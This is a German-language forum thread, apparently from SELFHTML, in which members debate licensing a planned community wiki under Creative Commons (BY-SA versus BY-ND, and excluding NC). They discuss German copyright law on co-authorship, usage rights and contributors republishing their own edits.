                    genau damit wäre ich aber nicht einverstanden. Ich sehe mich im Moment durchaus in der Rolle eines potentiellen Mit-Autors, und ich möchte, dass ich *meine* Beiträge zum Wiki auch an anderer Stelle (z.B. auf der eigenen Website) veröffentlichen und dort als "mein" bezeichnen darf - auch wenn mein Wiki-Beitrag nur ein ergänzender Absatz, eine erklärende Skizze oder eine Tabelle ist, die einen Sachverhalt innerhalb eines Wiki-Artikels verdeutlicht.

                    Dieses Recht kann dir sowieso niemand nehmen, das geht im deutschen Urheberrecht nicht.

                    Die Formulierung "ihre Rechte zugunsten der BY-SA abtreten" soll wohl bedeuten: ihre Beiträge unter CC-BY-SA stellen, und das dann _nicht rückgängig machen können_. Wobei eine einmal erteilte Lizenz sowieso nicht zurückgezogen werden kann, folglich ist der Zusatz "und das dann _nicht rückgängig machen können_" überflüssig.

                    Gruß
                    Bernhard

                    1. Hi!

                      Die Formulierung "ihre Rechte zugunsten der BY-SA abtreten" soll wohl bedeuten: ihre Beiträge unter CC-BY-SA stellen, und das dann _nicht rückgängig machen können_. Wobei eine einmal erteilte Lizenz sowieso nicht zurückgezogen werden kann, folglich ist der Zusatz "und das dann _nicht rückgängig machen können_" überflüssig.

                      Gemäß meinem Verständnis vom deutschen Urheberrecht kann der Urheber die gewährten Nutzungsrechte unter bestimmten Umständen auch zurückziehen (§41 und §42 UrhG). Und auf diese Rechte kann auch nicht im Voraus verzichtet werden. Allerdings gilt das ja nur für Werke im UrhG-Sinne (inklusive notwendiger Schöpfungshöhe). Kleine Änderungen fallen nicht darunter, da wird man nur Miturheber (§8) und kann nicht mehr allein auf eigene Faust über das Werk bestimmen.

                      §8(2): "Das Recht zur Veröffentlichung und zur Verwertung des Werkes steht den Miturhebern zur gesamten Hand zu; Änderungen des Werkes sind nur mit Einwilligung der Miturheber zulässig. Ein Miturheber darf jedoch seine Einwilligung zur Veröffentlichung, Verwertung oder Änderung nicht wider Treu und Glauben verweigern. [...]"

                      Ich interpretiere das so, dass mit jedem neuen Miturheber einer hinzukommt, der über die Verwertungsrechte des Gesamtwerks mitbestimmen kann und der bei Änderungen des Werkes gefragt werden muss. Das ist bei einem Wiki praktisch ein Ding der Unmöglichkeit. Und da ich nicht zu allen möglichen und unmöglichen Tages- und Nachtzeiten dazu gefragt werden will und andererseits auch nicht alle anderen Miturheber dazu befragen kann und will, trete ich meine Verwertungsrechte an den Miturheber SELFHTML e.V. ab, in dem guten Glauben, dass sie von ihm in meinem Sinne wahrgenommen werden. Ansonsten arbeite ich eben nicht mit.

                      Lo!

                      1. Hi!

                        Gemäß meinem Verständnis vom deutschen Urheberrecht kann der Urheber die gewährten Nutzungsrechte unter bestimmten Umständen auch zurückziehen (§41 und §42 UrhG).

                        Ich bin kein Jurist, schaue aber öfter bei den Wikipedia-Urheberrechtsfragen. Dort hieß es bei entsprechenden Anfragen immer, eine einmal gewährte Lizenz kann nicht zurückgezogen werden. (Aktuell wird ja auch unter "Lizenz bei Datei:Panorama Wuerzburg.jpg" eine solche Frage behandelt.)

                        Ich interpretiere das so, dass mit jedem neuen Miturheber einer hinzukommt, der über die Verwertungsrechte des Gesamtwerks mitbestimmen kann und der bei Änderungen des Werkes gefragt werden muss.

                        Wählt man CC-BY-SA, so ist das sicher nicht der Fall: BY-SA erlaubt einerseits Änderungen und stellt andererseits klar, dass das daraus entstehende neue Werk wieder CC-BY-SA-lizensiert ist. (Wie's bei ND aussieht, weiß ich nicht.)

                        trete ich meine Verwertungsrechte an den Miturheber SELFHTML e.V. ab

                        Das geht nicht. Das Urheberrecht ist nicht übertragbar (es sei denn, durch dein Ableben, danach geht es an deine Erben) und schon gar nicht an eine ausschließlich juristische Person. Du kannst Nutzungsrechte einräumen, behältst selbst aber _immer_ das Urheberrecht.

                        Gruß
                        Bernhard

                        1. Hallo

                          trete ich meine Verwertungsrechte an den Miturheber SELFHTML e.V. ab

                          Das geht nicht. Das Urheberrecht ist nicht übertragbar (es sei denn, durch dein Ableben, danach geht es an deine Erben) und schon gar nicht an eine ausschließlich juristische Person. Du kannst Nutzungsrechte einräumen, behältst selbst aber _immer_ das Urheberrecht.

                          Boah ey, nu kricht euch mal wieder ein. Da steht *nichts* vom Abtreten des Urheberrechts, sondern vom Abtreten der Verwertungsrechten, die allgemeinsprachlich mit den Nutzungsrechten gleichzusetzen sind. Wo ist also dein Punkt?

                          Tschö, Auge

                          --
                          Verschiedene Glocken läuteten in der Stadt, und jede von ihnen vertrat eine ganz persönliche Meinung darüber, wann es Mitternacht war.
                          Terry Pratchett, "Wachen! Wachen!"
                          Veranstaltungsdatenbank Vdb 0.3
                          1. Lesen, wenn möglich dann ausgeschlafen

                            Vielen Dank für den freundlichen Hinweis.

                            Ich wollte ausdrücken, dass es meines Wissens nicht möglich ist, sich selbst das Nutzungsrecht zu nehmen, was--wenn ich die Sache nicht ganz falsch verstanden habe--dedlfix' zu tun gedachte.

                            Meine Formulierung war da aber ziemlich unklar, das ist wohl war.

                            Bernhard

                            1. Hallo

                              Lesen, wenn möglich dann ausgeschlafen

                              Vielen Dank für den freundlichen Hinweis.

                              Ich wollte ausdrücken, dass es meines Wissens nicht möglich ist, sich selbst das Nutzungsrecht zu nehmen, was--wenn ich die Sache nicht ganz falsch verstanden habe--dedlfix' zu tun gedachte.

                              Ich habe ihn so verstanden, dass er das Nutzungsrecht abtreten will, aber die Tatsache, dass man Nutzungsrechte beschränkt vergeben oder auch vergebene Rechte zurückziehen kann, geklärt wissen will.

                              Tschö, Auge

                              --
                              Verschiedene Glocken läuteten in der Stadt, und jede von ihnen vertrat eine ganz persönliche Meinung darüber, wann es Mitternacht war.
                              Terry Pratchett, "Wachen! Wachen!"
                              Veranstaltungsdatenbank Vdb 0.3
                              1. Hi!

                                Lesen, wenn möglich dann ausgeschlafen

                                Bitte freundlich bleiben und die Sache kritisieren, nicht die Person.

                                Ich wollte ausdrücken, dass es meines Wissens nicht möglich ist, sich selbst das Nutzungsrecht zu nehmen, was--wenn ich die Sache nicht ganz falsch verstanden habe--dedlfix' zu tun gedachte.
                                Ich habe ihn so verstanden, dass er das Nutzungsrecht abtreten will, aber die Tatsache, dass man Nutzungsrechte beschränkt vergeben oder auch vergebene Rechte zurückziehen kann, geklärt wissen will.

                                Das UrhG regelt im Wesentlichen die Bestimmungen für Werke. Nicht gesondert verwertbare Beiträge zu einem Gesamtwerk sind davon nicht betroffen. Zumindest nicht so, dass man für diese "Nicht-Werke" die gesamten Rechte geltend machen kann. Es sollte geregelt sein, dass man als Miturheber auf sein Mitspracherecht insoweit verzichtet, dass schon allein aus praktischen Gründen nicht bei jeder Änderung jeder gefragt werden muss.

                                Lo!

                  2. Hi!

                    Trotz allem sollte eine gesonderte Vereinbarung hinzukommen, mit der die Wiki-Mitautoren ihre Rechte zugunsten der BY-SA abtreten
                    genau damit wäre ich aber nicht einverstanden. Ich sehe mich im Moment durchaus in der Rolle eines potentiellen Mit-Autors, und ich möchte, dass ich *meine* Beiträge zum Wiki auch an anderer Stelle (z.B. auf der eigenen Website) veröffentlichen und dort als "mein" bezeichnen darf -

                    Dann ist aber eher ein Gemeinschaftswerk hinderlich, um deine "mein"-Interessen durchsetzen zu können. Denn jeder kann "deine" Texte ändern, wodurch sie nicht mehr nur "deine" sind, du sie also auch nicht mehr als solche bezeichnen darfst.

                    Aber ich sehe da eigentlich kein Problem darin. Denn für das "mein"-Recht an deinem Beitrag, das du hier abtrittst, bekommst du die vollen Rechte der CC-Lizenz für das Gesamtwerk als Gegenleistung.

                    Außerdem darfst du nicht vergessen, dass du an einem solchen Gemeinschaftswerk nach meinem Rechtsverständnis nicht Urheber bist, sondern nur Miturheber. Ohne jetzt deine potentielle Leistung in Abrede zu stellen, wirst du sicher nicht ein gesondert verwertbares Werk erstellen, für das du die dir gemäß UrhG zustehenden Rechte geltend machen kannst, sondern musst deine anderen Miturheber berücksichtigen.

                    Für diese "mein"-Problematik gibt es ja die Möglichkeit (oder sollte), neben dem eigentlichen Wiki komplette Beiträge zu verfassen. Da darfst du das "meine"-Bapperl drunterkleben, musst aber auch dafür erst einmal die nötige Vorleistung bringen und ein Werk (siehe nachfolgend) erstellen.

                    auch wenn mein Wiki-Beitrag nur ein ergänzender Absatz, eine erklärende Skizze oder eine Tabelle ist, die einen Sachverhalt innerhalb eines Wiki-Artikels verdeutlicht.

                    Genau dann hast du kein urheberrechtlich schützbares Werk geschaffen. Dazu fehlt es in der Regel an der nötigen Schöpfungshöhe. (Schöpfungshöhe ist soweit ich weiß kein Begriff aus dem UrhG, er ist jedoch durch die Rechtssprechung in das juristische Vokabular aufgenommen worden).

                    Ich lege keinen Wert darauf, innerhalb des Wiki als Autor genannt zu werden; ich habe selbstverständlich auch nichts dagegen, dass andere meinen kleinen Beitrag nutzen, weiterverarbeiten oder ausbauen. Wenn ich aber das, was ich beigesteuert habe, auch wenn es nur eine Kleinigkeit ist, an anderer Stelle (und vielleicht auch in anderem Zusammenhang) nicht mehr als mein Werk bezeichnen darf, finde ich das ausdrücklich nicht in Ordnung.

                    Jedenfalls nicht als dein alleiniges Werk, denn wie gesagt ist es wegen fehlender Schöpfungshöhe kein eigentliches Werk, und unter Umständen basiert es auf der Arbeit anderer und wird schon deswegen nicht "dein" Werk.

                    Lo!

                    1. Hallo,

                      [...] und ich möchte, dass ich *meine* Beiträge zum Wiki auch an anderer Stelle (z.B. auf der eigenen Website) veröffentlichen und dort als "mein" bezeichnen darf -
                      Dann ist aber eher ein Gemeinschaftswerk hinderlich, um deine "mein"-Interessen durchsetzen zu können. Denn jeder kann "deine" Texte ändern, wodurch sie nicht mehr nur "deine" sind, du sie also auch nicht mehr als solche bezeichnen darfst.

                      du missverstehst mich anscheinend immer noch. Wenn ich etwas zum Wiki beitrage, gebe ich dem Wiki-Betreiber selbstverständlich das Recht, mit diesem Beitrag zu machen, was er für richtig hält; und den anderen Nutzern das Recht, den Beitrag zu verwerten und auch weiterzuentwickeln, also zu verändern. That's the idea.

                      Aber ich sehe da eigentlich kein Problem darin. Denn für das "mein"-Recht an deinem Beitrag, das du hier abtrittst, bekommst du die vollen Rechte der CC-Lizenz für das Gesamtwerk als Gegenleistung.

                      Ja, sicher. Das habe ich schon verstanden.

                      Außerdem darfst du nicht vergessen, dass du an einem solchen Gemeinschaftswerk nach meinem Rechtsverständnis nicht Urheber bist, sondern nur Miturheber. Ohne jetzt deine potentielle Leistung in Abrede zu stellen, wirst du sicher nicht ein gesondert verwertbares Werk erstellen, für das du die dir gemäß UrhG zustehenden Rechte geltend machen kannst, sondern musst deine anderen Miturheber berücksichtigen.

                      Jetzt kommen wir langsam zum Kern: Meine Frage zielte nicht darauf ab, dass ich zu einem späteren Zeitpunkt den x-mal nachbearbeiteten Wiki-Beitrag noch als "mein" bezeichnen will - sondern nur das, was ich ursprünglich beigetragen habe, in genau der Form, wie ich es ursprünglich eingebracht habe, auch wenn es zu diesem Zeitpunkt im Wiki-Artikel gar nicht mehr in der Form erkennbar ist.

                      Für diese "mein"-Problematik gibt es ja die Möglichkeit (oder sollte), neben dem eigentlichen Wiki komplette Beiträge zu verfassen

                      Ja, aber das ist nicht, was ich meine.

                      Hypothetisches Beispiel: Es gebe einen Wiki-Artikel zum Thema "Javascript: Verwendung von Regular Expressions". Ich ergänze nun den Artikel um einen Absatz, in dem ich auf (hypothetische) Schwächen von Firefox, Opera und Internet Explorer beim Umgang mit RegEx eingehe und sie im Detail beleuchte.
                      Nun kommt ein anderer und ergänzt diesen Absatz noch um Informationen zu Safari und Chrome.

                      Trotzdem möchte ich meinen ursprünglichen Beitrag *ohne* die von anderen hinzugefügten Ergänzungen auch in anderem Kontext veröffentlichen dürfen und meinen Namen druntersetzen dürfen. Ich will mir selbstverständlich nicht den inzwischen durch andere Nutzer weiterentwicklten Artikel zu eigen machen, das widerspräche auch meinem Rechtsempfinden. Hier liegt anscheinend dein Missverständnis.

                      Ciao,
                       Martin

                      --
                      Du kannst dem Leben nicht mehr Tage geben.
                      Aber dem Tag mehr Leben.
                      1. Hi!

                        Jetzt kommen wir langsam zum Kern: Meine Frage zielte nicht darauf ab, dass ich zu einem späteren Zeitpunkt den x-mal nachbearbeiteten Wiki-Beitrag noch als "mein" bezeichnen will - sondern nur das, was ich ursprünglich beigetragen habe, in genau der Form, wie ich es ursprünglich eingebracht habe, auch wenn es zu diesem Zeitpunkt im Wiki-Artikel gar nicht mehr in der Form erkennbar ist.

                        Ich denke, das ist weiterhin möglich. Die Lizenz gilt sicherlich nicht nur für die aktuelle Version sondern auch für die in der Versionsgeschichte festgehaltenen Stände. Da steht ja auch dein Name (oder Pseudonym) als Autor. Bezogen auf das Gesamtwerk veröffentlichst du meiner Meinung nach ein Zitat. Dazu kannst du erwähnen, dass du das für das SELF-Wiki geschrieben hast und verlinkst auf den damaligen Stand. Dabei sieht auch jeder, der den Text im SELF-Wiki wiederfindet, dass du dir nicht fremden Inhalt zu eigen machst, sondern klärst über die Entstehung auf (und machst nebenbei noch Werbung für das SELF-Wiki).

                        Zitate sind nicht speziell in der CC-BY-SA geregelt. Die spricht, soweit ich das sehe, nur vom "Schutzgegenstand" und meint das gesamte Werk. Insofern kann ich nicht sehen, ob für Zitate auch die gesamten Bedingungen des Punktes 3 zutreffen (ich denke nicht) oder ob nur §51 des UrhG zum tragen kommt, der noch nicht mal eine Quellennennung verlangt.

                        [...] möchte ich meinen ursprünglichen Beitrag *ohne* die von anderen hinzugefügten Ergänzungen auch in anderem Kontext veröffentlichen dürfen und meinen Namen druntersetzen dürfen.

                        Zumindest im Kurztext unter der Textarea in der Wikipedia steht sogar ausdrücklich, dass einer Namensnennung zugestimmt wird. Dein Name steht also schon "drunter", zumindest in der Versionsgeschichte.

                        Lo!

                        1. n'Abend!

                          [...] sondern nur das, was ich ursprünglich beigetragen habe, in genau der Form, wie ich es ursprünglich eingebracht habe, auch wenn es zu diesem Zeitpunkt im Wiki-Artikel gar nicht mehr in der Form erkennbar ist.

                          Ich denke, das ist weiterhin möglich. Die Lizenz gilt sicherlich nicht nur für die aktuelle Version sondern auch für die in der Versionsgeschichte festgehaltenen Stände. Da steht ja auch dein Name (oder Pseudonym) als Autor.

                          Wenn das nicht nur deine Ansicht ist, sondern allgemeine Auffassung, dann finde ich das okay.

                          Bezogen auf das Gesamtwerk veröffentlichst du meiner Meinung nach ein Zitat.

                          So kann man's auch sehen. ;-)

                          Dazu kannst du erwähnen, dass du das für das SELF-Wiki geschrieben hast und verlinkst auf den damaligen Stand. Dabei sieht auch jeder, der den Text im SELF-Wiki wiederfindet, dass du dir nicht fremden Inhalt zu eigen machst, sondern klärst über die Entstehung auf (und machst nebenbei noch Werbung für das SELF-Wiki).

                          Klar, dagegen spricht auch nichts. Das Verlinken auf den historischen Stand ist übrigens eine gute Idee, das ist mir noch gar nicht eingefallen.

                          Ciao,
                           Martin

                          --
                          Zivilisation bedeutet, dass die Eskimos warme Wohnungen bekommen und dann arbeiten müssen, damit sie sich einen Kühlschrank leisten können.
              3. Hallo Marc.

                BY-ND oder BY-SA?

                Ich stimme molily zu.
                Und bevorzuge BY-SA. Ich sehe nicht, wo Offenheit schaden könnte.

                Servus,
                Flo

              4. Hi!

                Daher möchte ich an dieser Stelle euch nun fragen (als Referenz): welche unveränderte Creative Commons Lizenz würdet ihr wählen wollen?

                BY-ND oder BY-SA?

                Ich bin schon wegen der größtmöglichen Freiheit (Modifizierbarkeit) für BY-SA.

                Dazu kommt noch, dass der sehr gefinkelte Schachzug, der die Nutzung der ND erst für das Wiki möglich machen würde (Autor stimmt bei Registrierung Veröffentlichung des Großen Ganzen unter CC-BY-ND zu, was aber nicht bedeutet, dass sein Beitrag unter CC-BY-ND steht) vielleicht zu Problemen führen könnte, die man jetzt noch nicht voraussieht.

                CC-BY-SA wird schon häufig verwendet, ist daher erprobt und man wäre mit Wikipedia und ähnlichen Wikiprojekten (z.B. Wikibooks) kompatibel, was sicherlich auch kein Nachteil wäre.

                Gruß
                Bernhard

              5. Tach,

                BY-ND oder BY-SA?

                ich bin klar für BY-SA, weil es die einfachste Lösung ist und keine Mehrfachlizensierung benötigt; ich denke eine SELFHTML Triple License ist einfach unnötig.

                mfg
                Woodfighter

            4. Hi!

              Der Sinn ist, ein »CC-BY-SA« (oder was auch immer) an das Werk dranzuschreiben und jeder Hinz und Kunz weiß, was damit gemeint ist und wie das Werk (weiter- und wieder-)verwendet werden darf.

              Ich kann deinen Ausführungen nicht folgen. Denn wenn ich das tue kommen mir Fragen auf, die das Ganze noch abstruser machen, wenn man nicht zwischen Nutzern und Autoren trennt.

              Soviel zu CC. Deswegen ist die Wikipedia auf CC umgestiegen. CC-BY-SA ist im Wikipedia-Kontext ganz einfach (AFAIK): Per Lizenz stimmt jeder Mitautor zu, dass seine Beiträge weiterverbreitet werden dürfen und die Basis für weitere Werke bilden dürfen.

              Das steht aber so nicht in der CC-BY-SA, sondern in einer Zusatzvereinbarung namens Nutzungsbedingungen und in Kurzform unter der Textarea für Änderungen einer Seite. Man willigt extra ein, dass der Beitrag (im Sinne von zum Gesamtwerk beitragen) unter der CC-BY-SA veröffentlich wird. Dies könnte man sich sparen, wenn es die CC-BY-SA schon geregelt hätte.

              Nach meiner Auffassung muss das so sein, denn sonst könnte ohne diese Zusatzvereinbarung jemand eine dermaßen große Änderung anfertigen (wie groß auch immer die dabei ausfallen müsste), die nicht mehr nur als Abwandlung (1.a.) (Begriffnennungen gemäß http://creativecommons.org/licenses/by-sa/3.0/de/legalcode) sondern als eigenständiges Werk gilt, dieses in der Wikipedia speichern und unter eine komplett andere Lizenz stellen. Denn nur Abwandlungen unterstehen weiterhin der CC-BY-SA (oder einer gemäß 4.b.), eigene Werke nicht mehr. Wenn es also nun jemandem gelänge, eine derartige Änderung auf die Site der Wikipedia zu bringen, wäre diese erst einmal gelähmt, weil sie durch die neue Lizenz keine Rechte mehr daran hat und dürfte keine Abwandlungen anfertigen (eine entsprechend restiktive Lizenz angenommen). Da dies praktisch nicht zu verhindern wäre, könnte man nun als neuer Autor mit eigener Lizenz seine Rechte durchzusetzen versuchen. Es müsste erst jemand das neue Werk entfernen, damit wieder unter der alten CC-BY-SA weitergearbeitet und -genutzt werden kann.

              Diesen Unterschied zwischen »Innen« und »Außen« stellt ihr mit einem Kniff her (Unterscheidung zwischen »Nutzern« und »Mitautoren«). IANAL, aber für mich klingt das alles sehr konstruiert.

              Für mich ist das nötig, denn die CC-BY-SA regelt nach meiner Meinung nicht das Verhältnis zwischen den "Lizenzgebern" (gemäß 1.e. - aka Wikimedia/SELFHTML) und den "Rechteinhabern" (1.f. - aka Autoren). Ich habe keinen derartigen Passus herauslesen können.

              Fällt ein Mitautor aus seiner rechtlichen Rolle als »Mitautor«, wenn er Teile aus dem Wiki auf seiner Homepage fortschreibt? Wenn ja, wieso, wenn nicht, wieso nicht? Das nur als zu klärende Fragen.

              Sobald er den Submit-Button drückt hat er der Zusatzvereinbarung zugestimmt und ist dann nur noch Nutzer. Der Hersteller eines Produktes ist nach der Übergabe an den Handel auch nicht mehr der Eigentümer und kann sich nicht einfach in Geschäften beliebig daran bedienen. Ein Mitarbeiter an der Wikipedia tritt zwar sein Verwertungsrecht an die Wikimedia ab, gewinnt aber als Nutzer durch die CC-BY-SA sogar noch weitergehende Nutzungsrechte am Gesamtwerk.

              Das kann man nun inhaltlich kritisieren, z.B. habe ich schon argumentiert, dass Kopien der Wikipedia ihr selbst wenig Schaden zufügen. Außerdem weicht man mit Zusatzbestimmungen von der Rechtssicherheit der etablierten CC-Lizenzen ab, welche der ganze Sinn hinter CC sind.

              Es geht nicht um Zusatzbestimmungen für die Nutzung und Weiterverarbeitung außerhalb des SELF-Raums sondern um die durch die Nutzungslizenz nicht geregelte Frage nach der Mitarbeit.

              Viel problematischer finde ich die strategische Dimension: Einerseits nutzt man eine der restriktiveren CC-Lizenzen »nach außen hin«, damit diese aber »nach innen« praktikabel ist, muss man sie mit zusätzlichen Bestimmungen versehen. Da frage ich mich, wo noch der Nutzen der Wahl der CC-Lizenz ist gegenüber eine komplett eigenen (wie es jetzt schon der Fall ist).

              Der meisten, die mit dem Werk in Berührung kommenden, werden nur Nutzer sein, habe also durch die CC-Lizenz ein bekanntes Regelwerk, auf das sie sich stützen können. Die in der CC nicht geregelte Mitarbeit wird in der weiteren Vereinbarung geregelt. Es ist im Grunde genommen eigentlich keine Zusatzvereinbarung sondern eine eigenständige Vereinbarung, so wie der Vertrag zwischen Autor und Verlag auch nicht nur eine Zusatzvereinbarung zum Vertragsverhältnis zwischen Verlag und Lesern ist.

              Wie gesagt, die Einfachheit der CC-Lizenz fundiert bei Communities wie der Wikipedia die gesamte Zusammenarbeit. Das ist für mich das Besondere und Neue der CC-Lizenzen: Man legt Lizenzen fest und verbreitet sie, sodass sich aus dem simplen Schema (Urheberangabe nötig + Bearbeitung möglich oder nicht + optional Non-Commercial + optional Share-Alike) alles ergibt.

              Die Bearbeitung kann sich nicht nur auf eine Bearbeitung auf dem Veröffentlichungsmedium beziehen. Man kann auch auf seiner nach außen hin schreibgeschützten Webpräsenz Werke ohne ND-Zusatz anbieten. Ich denke deshalb nicht, dass sich die Bearbeitungsklausel auf die Textarea eines Wikis (und vergleichbares) bezieht.

              Zudem gäbe es ein weiteres praktikables Problem. Die Rechteinhaber (1.f. - aka Autoren) zu nennen, würde in ungünstigen Fällen eine ewig lange Liste ergeben. Deshalb kann man auf die Nennung eines "Zuschreibungsempfängers" ausweichen, wozu aber erst einmal eine Zuschreibung mit den Autoren vereinbart werden muss.

              Fragt ihr euch nicht, warum euer Lizenzmodell schon jetzt Missverständnisse hervorruft? CC ist einfach, ihr versucht das Gegenteil.

              Ich finde nicht, dass die CC einfach auf Mitmachwerke angewendet werden kann, denn wie im ersten Beispiel zu sehen, bleibt reinweg durch die CC-BY-SA mindestens ein gravierender Punkt ungeregelt. Deswegen setzt vermutlich auch die Wikipedia nicht nur auf die CC-BY-SA (und die GNU Free Documentation License) sondern hält noch weitere Nutzungsbedingungen bereit, die beim Bearbeiten von Artikeln zur Geltung kommen.

              Anstatt dass jeder Wiki-Mitautor der CC-Lizenz zustimmt und seine Inhalte darunter veröffentlicht, nutzt ihr CC nur indirekt (Übertragung gewisser Rechte an den Verein, welcher dann unter CC veröffentlichen darf).

              Genau dieser Punkt ist in der CC nicht enthalten. Jemand der Abwandlungen aus einem CC-BY-SA-Werk erstellt, muss sie nicht zwangsweise under der selben Lizenz veröffentlichen, sondern kann gemäß und unter den Bedingungen von 4.b. eine eigene Lizenz verwenden. Das heißt also, wenn sich die Abwandlungsklausel auf die Textarea bezieht, hätte man unter Umständen einen Wust an Lizenzen inklusive deren jeweiliger Nennung. Deswegen braucht es die gesonderte Vereinbarung, dass Autoren ihre Verwertungsrechte abtreten, damit der Rechteinhaber ihren Beitrag am Gesamtwerk und damit selbiges unter eine einheitliche Nutzungslizenz stellen kann.

              Das ruft Verwirrung hervor. Diese kommt nicht von ungefähr und wird nicht weggehen, sondern immer wieder Fragezeichen in den Köpfen auslösen, fürchte ich.

              Das lässt sich auch nicht gänzlich beseitigen, fürchte ich. Die CC-Lizenzen beziehen sich nicht nur auf Mitmachwerke sondern eben nur auf den Teil der die reine Nutzung betrifft. Ansonsten wären diese Lizenzen nur auf Mitmachwerke beschränkt. Oder sie enthielten Klauseln, die speziell diese Mitarbeit beträfen und hätten dann das selbe Missverständnispotential.

              Gut, es ist natürlich eure Entscheidung, CC nur partiell zu verwenden, wenn das rechtlich möglich ist. Nur bezweifle ich dann, dass sich Sinn und Nutzen der CC-Lizenzen dann entfalten. Ich glaube eher, dass es Leute verwirren wird, wenn sie CC lesen, wo eigentlich gar kein CC (bzw. dieser »Bearbeitung nicht erlaubt und gleichzeitig doch«-Schachzug) drin ist.

              Eine Bearbeitung als Autor ist etwas andere als eine Abwandlung (und Wiederveröffentlichung) durch einen Lizenznehmer (Nutzer).

              Lo!

              1. Hi!

                Da ich den Begriff "Rechteinhaber" beim ersten Lesen der CC-BY-SA anscheinend falsch verstanden hatte, muss ich mich etwas korrigeren.

                Diesen Unterschied zwischen »Innen« und »Außen« stellt ihr mit einem Kniff her (Unterscheidung zwischen »Nutzern« und »Mitautoren«). IANAL, aber für mich klingt das alles sehr konstruiert.
                Für mich ist das nötig, denn die CC-BY-SA regelt nach meiner Meinung nicht das Verhältnis zwischen den "Lizenzgebern" (gemäß 1.e. - aka Wikimedia/SELFHTML) und den "Rechteinhabern" (1.f. - aka Autoren). Ich habe keinen derartigen Passus herauslesen können.

                Rechteinhaber sind nicht zwingend die Autoren, sondern diejenigen mit den Verwertungsrechten. Wenn ein Autor als Miturheber seine Verwertungsrechte gemäß $8(4) UrhG abtritt, ist er nicht mehr Rechteinhaber im Sinne der Lizenz. Wikimedia (oder hier der SELFHTML e.V.) wären dann Lizenzgeber und Rechteinhaber in einem.

                Zudem gäbe es ein weiteres praktikables Problem. Die Rechteinhaber (1.f. - aka Autoren) zu nennen, würde in ungünstigen Fällen eine ewig lange Liste ergeben. Deshalb kann man auf die Nennung eines "Zuschreibungsempfängers" ausweichen, wozu aber erst einmal eine Zuschreibung mit den Autoren vereinbart werden muss.

                Diese Aussage ziehe ich zurück. Die Autoren sind nicht mehr Rechteinhaber, somit ist nur noch die Nennung eines Namens nötig (zum Beispiel Wikimedia, SELFHTML e.V.).

                Genau dieser Punkt ist in der CC nicht enthalten. Jemand der Abwandlungen aus einem CC-BY-SA-Werk erstellt, muss sie nicht zwangsweise under der selben Lizenz veröffentlichen, sondern kann gemäß und unter den Bedingungen von 4.b. eine eigene Lizenz verwenden. Das heißt also, wenn sich die Abwandlungsklausel auf die Textarea bezieht, hätte man unter Umständen einen Wust an Lizenzen inklusive deren jeweiliger Nennung. Deswegen braucht es die gesonderte Vereinbarung, dass Autoren ihre Verwertungsrechte abtreten, damit der Rechteinhaber ihren Beitrag am Gesamtwerk und damit selbiges unter eine einheitliche Nutzungslizenz stellen kann.

                Hmmm, hier hab ich den "Rechteinhaber" ja doch richtig verwendet.

                Lo!

          2. Moin,

            Das ist ein vollkommener Irrtum. Nich zuletzt, weil _jeder_ der CC Lizenzen klar definiert, dass man die Lizenz erweitern kann. Sprich: Zusatzvereinbarungen.

            Wobei man ergänzen sollte, dass es sich dann nicht mehr um eine CC-Lizenz handelt: "Also, if you change our licenses then you cannot say that your work is licensed under a CC license."

            Grüße

            Swen

      3. Hallo!

        Nach dem letzten Redaktionschat gestern möchte ich hier nun gerne den aktuellen Stand beschreiben.

        Das finde ich ausgesprochen gut & positiv! *daumenhoch*

        1. Lizenz klären (ist erfolgt, siehe weiter unten)

        Gestern haben wir uns insbesondere um die Lizenz Gedanken gemacht. Hierzu haben wir uns alle Creative Commons Lizenzen durchgesehen. Da gibt es:

        • BY
        • BY-SA
        • BY-SA-NC
        • BY-ND
        • BY-NC
        • BY-NC-ND

        Alle Lizenzen mit "NC" (non-commercial) fallen schon mal raus, da die kommerzielle Nutzung des Werkes grundsätzlich möglich sein sollte.

        Das verstehe ich nicht, bzw. sehe und verstehe das anders.
        Die Lizenzbestimmungen sagen doch (in aller erster Linie) erstmal nur etwas darüber aus, was Dritte mit dem Werk anstellen dürfen und was nicht.
        Und gerade hier sehe ich keine Veranlassung dazu, den Inhalt, der von vielen freiwilligen Mitwirkenden zusammengetragen wird/ wurde, Dritten zu einer kommerziellen Nutzung zu überlassen.

        Das hat aber imho nichts damit zu tun, was SELFHTML als Anbieter der Inhalte damit anstellen kann (also bspw. als kostenpflichtiges Buch rauszubringen).

        Zudem ist "NC" nicht eindeutig definiert.

        Das könnte man ja ändern, wobei ich diese "nicht Eindeutigkeit" nicht unbedingt nachvollziehen kann.
        NC heißt für mich, du darfst die Infos nicht für kommerzielle Zwecke nutzen - Punkt.
        Anders (vereinfacht) formuliert bedeutet das für mich: Du darfst die Informationen nutzen, solange du damit kein Geld verdienen willst.

        Gruß Gunther

        1. Hallo Gunther,

          Alle Lizenzen mit "NC" (non-commercial) fallen schon mal raus, da die kommerzielle Nutzung des Werkes grundsätzlich möglich sein sollte.
          Das verstehe ich nicht, bzw. sehe und verstehe das anders.

          Wir wollen weiterhin, dass es Computerzeitschriftsverlagen möglich sein soll, SELFHTML auf Heft-CDs zu vetreiben. Wir wollen weiterhin, dass es möglich sein soll, dass auch kommerzielle Linux-Distributionen SELFHTML als Paket enthalten. [1] Ein -NC in den CC-Lizenzen schließt das aus.

          Viele Grüße,
          Christian

          [1] Wenn Microsoft das gleiche machen wollte, dann hätten wir natürlich auch nichts dagegen, nicht, dass es heißt, wir würden uns auf Linux beschränken.

          1. Hallo Christian!

            Alle Lizenzen mit "NC" (non-commercial) fallen schon mal raus, da die kommerzielle Nutzung des Werkes grundsätzlich möglich sein sollte.
            Das verstehe ich nicht, bzw. sehe und verstehe das anders.

            Wir wollen weiterhin, dass es Computerzeitschriftsverlagen möglich sein soll, SELFHTML auf Heft-CDs zu vetreiben. Wir wollen weiterhin, dass es möglich sein soll, dass auch kommerzielle Linux-Distributionen SELFHTML als Paket enthalten. [1] Ein -NC in den CC-Lizenzen schließt das aus.

            Ah OK. Diese Fälle hatte ich so gar nicht bedacht.

            Stellt sich mir aber wieder die Frage, inwieweit das für ein Wiki zutrifft? Und ob es nicht besser/ sinnvoller ist, immer wieder aus Teilen des Wikis eine statische Dokumentation zu erstellen?

            Ich bin kein Jurist, deshalb jetzt einfach mal "frei Schnauze" formuliert:
            Ein Wiki macht imho nur Sinn, wenn Autoren, also die Leute, die Inhalte beitragen, diese SELFHTML als Betreiber des Wikis, völlig frei zu jedweder Verwendung überlassen.
            "Closed Articles" widersprechen ansich ja schon dem Grundprinzip eines Wikis.
